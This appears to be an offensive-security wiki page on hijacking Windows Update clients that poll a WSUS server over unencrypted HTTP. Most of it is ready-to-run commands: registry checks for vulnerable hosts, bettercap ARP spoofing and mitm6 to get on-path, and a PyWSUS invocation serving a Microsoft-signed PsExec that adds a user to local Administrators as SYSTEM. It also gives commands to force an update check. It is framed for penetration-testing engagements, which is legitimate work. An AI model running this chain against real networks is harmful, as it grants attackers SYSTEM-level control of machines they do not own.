WSUS
If a client polls its WSUS server over plain HTTP (no TLS) we can take an on-path position between the client and the legitimate WSUS server, serve a malicious update, and have it executed as NT AUTHORITY\SYSTEM on the next update check.
The trust boundary that WSUS relies on is the binary signature: Windows will refuse to install an unsigned executable, but it happily runs any Microsoft-signed binary that the WSUS metadata points at, including ones that take a cmd.exe-style command line (PsExec.exe, BgInfo.exe, etc.). Combined with HTTP transport, this lets a MitM ship "Microsoft-signed Sysinternals binary + arbitrary command line" as an "update".
Identifying a vulnerable client
Check the policy-pushed WSUS URL on a target host:
reg query "HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate" /v WUServer
reg query "HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU" /v UseWUServerThe host is in scope when:
WUServerstarts withhttp://(nothttps://).UseWUServer = 1, otherwise the client falls back to Microsoft Update.
If only https:// is exposed, the attack only works with a trusted certificate (e.g. an attacker-controlled internal CA, or a misconfigured client that doesn't validate the cert).
Getting on-path
Pick whichever fits the engagement:
ARP spoofing (same broadcast domain as the target):
bashsudo bettercap -iface eth0 -eval "set arp.spoof.targets <target-ip>; arp.spoof on; set net.sniff.local true; net.sniff on"IPv6 DNS takeover with
mitm6(Windows prefers IPv6 DNS by default), then redirect the WSUS hostname:bashsudo mitm6 -i eth0 -d <ad-domain>DHCP spoofing when there is no DHCP snooping.
Injecting the fake update with PyWSUS
PyWSUS is a rogue WSUS server that replies to update metadata requests with our chosen payload.
git clone https://github.com/GoSecure/pywsus.git
cd pywsus && python3 -m pip install -r requirements.txt
sudo python3 pywsus.py \
-H 0.0.0.0 -p 8530 \
-e PsExec64.exe \
-c '/accepteula /s cmd.exe /c "net localgroup Administrators <DOMAIN>\<user> /add"'-eis the Microsoft-signed binary advertised as the update (dropPsExec64.exenext topywsus.py).-cis the command line passed to that binary. It will execute as SYSTEM.-p 8530is the default WSUS HTTP port; use8531for HTTPS scenarios.
For non-English systems use Administratoren / the German group name, or the well-known SID:
/accepteula /s cmd.exe /c "net localgroup S-1-5-32-544 <DOMAIN>\<user> /add"Forcing an update check
You usually don't need to wait for the scheduled poll. From any shell on the target:
:: Windows 10/11
usoclient StartScan
:: older Windows
wuauclt /detectnow /resetauthorizationPyWSUS logs the request, returns the fake update, and the client launches the payload as SYSTEM during the install phase.
Cleanup
- Stop the rogue PyWSUS, kill any ARP/IPv6 spoofing.
- Remove any local accounts / group memberships added by the payload.
See also
- Lateral movement: WSUS: abusing legitimate WSUS admin access (SharpWSUS) to push SYSTEM-level updates to downstream clients without needing a MitM position.